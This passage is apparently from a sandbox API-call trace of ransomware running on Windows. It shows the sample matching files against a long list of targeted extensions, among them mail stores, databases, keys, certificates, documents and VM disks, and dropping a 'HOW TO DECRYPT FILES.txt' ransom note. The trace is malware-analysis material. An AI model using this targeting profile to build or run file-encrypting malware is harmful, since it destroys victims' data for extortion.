(lpString="*.qbm") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qbo") returned 0 [0112.692] lstrlenA (lpString="*.qbo") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qbx") returned 0 [0112.692] lstrlenA (lpString="*.qbx") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qba") returned 0 [0112.692] lstrlenA (lpString="*.qba") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qby") returned 0 [0112.692] lstrlenA (lpString="*.qby") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qbj") returned 0 [0112.692] lstrlenA (lpString="*.qbj") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.ofx") returned 0 [0112.692] lstrlenA (lpString="*.ofx") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qif") returned 0 [0112.692] lstrlenA (lpString="*.qif") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mye") returned 0 [0112.692] lstrlenA (lpString="*.mye") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mbox") returned 0 [0112.692] lstrlenA (lpString="*.mbox") returned 6 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.eml") returned 0 [0112.693] lstrlenA (lpString="*.eml") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.pst") returned 0 [0112.693] lstrlenA (lpString="*.pst") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.ost") returned 0 [0112.693] lstrlenA (lpString="*.ost") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.idx") returned 0 [0112.693] lstrlenA (lpString="*.idx") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.dbx") returned 0 [0112.693] lstrlenA (lpString="*.dbx") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.sql") returned 0 [0112.693] lstrlenA (lpString="*.sql") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mdb") returned 0 [0112.693] lstrlenA (lpString="*.mdb") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.fdb") returned 0 [0112.693] lstrlenA (lpString="*.fdb") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.wab") returned 0 [0112.693] lstrlenA (lpString="*.wab") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.dat") returned 0 [0112.693] lstrlenA (lpString="*.dat") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.txt") returned 0 [0112.693] lstrlenA (lpString="*.txt") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.jpeg") returned 0 [0112.693] lstrlenA (lpString="*.jpeg") returned 6 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.jpg") returned 0 [0112.693] lstrlenA (lpString="*.jpg") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.png") returned 0 [0112.693] lstrlenA (lpString="*.png") returned 5 [0112.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.php") returned 0 [0112.693] lstrlenA (lpString="*.php") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.cs") returned 0 [0112.694] lstrlenA (lpString="*.cs") returned 4 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.cpp") returned 0 [0112.694] lstrlenA (lpString="*.cpp") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.rar") returned 0 [0112.694] lstrlenA (lpString="*.rar") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.zip") returned 0 [0112.694] lstrlenA (lpString="*.zip") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.html") returned 0 [0112.694] lstrlenA (lpString="*.html") returned 6 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.htm") returned 0 [0112.694] lstrlenA (lpString="*.htm") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.xlsx") returned 0 [0112.694] lstrlenA (lpString="*.xlsx") returned 6 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.xls") returned 0 [0112.694] lstrlenA (lpString="*.xls") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mp4") returned 0 [0112.694] lstrlenA (lpString="*.mp4") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.ppt") returned 0 [0112.694] lstrlenA (lpString="*.ppt") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.pptx") returned 0 [0112.694] lstrlenA (lpString="*.pptx") returned 6 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.doc") returned 0 [0112.694] lstrlenA (lpString="*.doc") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.dot") returned 0 [0112.694] lstrlenA (lpString="*.dot") returned 5 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.docx") returned 0 [0112.694] lstrlenA (lpString="*.docx") returned 6 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.7z") returned 0 [0112.694] lstrlenA (lpString="*.7z") returned 4 [0112.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.tar") returned 0 [0112.695] lstrlenA (lpString="*.tar") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.bz2") returned 0 [0112.695] lstrlenA (lpString="*.bz2") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.gz") returned 0 [0112.695] lstrlenA (lpString="*.gz") returned 4 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mkv") returned 0 [0112.695] lstrlenA (lpString="*.mkv") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.eml") returned 0 [0112.695] lstrlenA (lpString="*.eml") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.msg") returned 0 [0112.695] lstrlenA (lpString="*.msg") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.edb") returned 0 [0112.695] lstrlenA (lpString="*.edb") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.accdb") returned 0 [0112.695] lstrlenA (lpString="*.accdb") returned 7 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.odb") returned 0 [0112.695] lstrlenA (lpString="*.odb") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.java") returned 0 [0112.695] lstrlenA (lpString="*.java") returned 6 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.asm") returned 0 [0112.695] lstrlenA (lpString="*.asm") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.pfx") returned 0 [0112.695] lstrlenA (lpString="*.pfx") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.pem") returned 0 [0112.695] lstrlenA (lpString="*.pem") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.p12") returned 0 [0112.695] lstrlenA (lpString="*.p12") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.gpg") returned 0 [0112.695] lstrlenA (lpString="*.gpg") returned 5 [0112.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.vsd") returned 0 [0112.695] lstrlenA (lpString="*.vsd") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.odg") returned 0 [0112.696] lstrlenA (lpString="*.odg") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.raw") returned 0 [0112.696] lstrlenA (lpString="*.raw") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.nef") returned 0 [0112.696] lstrlenA (lpString="*.nef") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.svg") returned 0 [0112.696] lstrlenA (lpString="*.svg") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.psd") returned 0 [0112.696] lstrlenA (lpString="*.psd") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.vmx") returned 0 [0112.696] lstrlenA (lpString="*.vmx") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.vmdk") returned 0 [0112.696] lstrlenA (lpString="*.vmdk") returned 6 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.vdi") returned 0 [0112.696] lstrlenA (lpString="*.vdi") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.lay6") returned 0 [0112.696] lstrlenA (lpString="*.lay6") returned 6 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mpeg") returned 0 [0112.696] lstrlenA (lpString="*.mpeg") returned 6 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.djvu") returned 0 [0112.696] lstrlenA (lpString="*.djvu") returned 6 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.tiff") returned 0 [0112.696] lstrlenA (lpString="*.tiff") returned 6 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.backup") returned 0 [0112.696] lstrlenA (lpString="*.backup") returned 8 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.pdf") returned 0 [0112.696] lstrlenA (lpString="*.pdf") returned 5 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.cert") returned 0 [0112.696] lstrlenA (lpString="*.cert") returned 6 [0112.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.docm") returned 0 [0112.697] lstrlenA (lpString="*.docm") returned 6 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.xlsm") returned 0 [0112.697] lstrlenA (lpString="*.xlsm") returned 6 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.dwg") returned 0 [0112.697] lstrlenA (lpString="*.dwg") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.nd") returned 0 [0112.697] lstrlenA (lpString="*.nd") returned 4 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.tlg") returned 0 [0112.697] lstrlenA (lpString="*.tlg") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.lgb") returned 0 [0112.697] lstrlenA (lpString="*.lgb") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mov") returned 0 [0112.697] lstrlenA (lpString="*.mov") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.xdw") returned 0 [0112.697] lstrlenA (lpString="*.xdw") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.ods") returned 0 [0112.697] lstrlenA (lpString="*.ods") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.wav") returned 0 [0112.697] lstrlenA (lpString="*.wav") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.mp3") returned 0 [0112.697] lstrlenA (lpString="*.mp3") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.aiff") returned 0 [0112.697] lstrlenA (lpString="*.aiff") returned 6 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.flac") returned 0 [0112.697] lstrlenA (lpString="*.flac") returned 6 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.m4a") returned 0 [0112.697] lstrlenA (lpString="*.m4a") returned 5 [0112.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.csv") returned 0 [0112.697] lstrlenA (lpString="*.csv") returned 5 [0112.697] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b20524b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b20524b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b22b3ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0112.697] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0112.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0112.698] lstrcmpiA (lpString1="", lpString2="System.EnterpriseServices.Wrapper.dll") returned -1 [0112.698] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll") returned="System.EnterpriseServices.ni.dll" [0112.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\" [0112.698] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\") returned="" [0112.698] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\HOW TO DECRYPT FILES.txt" [0112.698] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.enterprisese#\\a6155c70b3df6c860303ffee7b560ade\\how to decrypt files.txt")) returned 0x20 [0112.698] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\", lpString2="System.EnterpriseServices.Wrapper.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll" [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ems") returned 0 [0112.698] lstrlenA (lpString="*.ems") returned 5 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.db") returned 0 [0112.698] lstrlenA (lpString="*.db") returned 4 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dbf") returned 0 [0112.698] lstrlenA 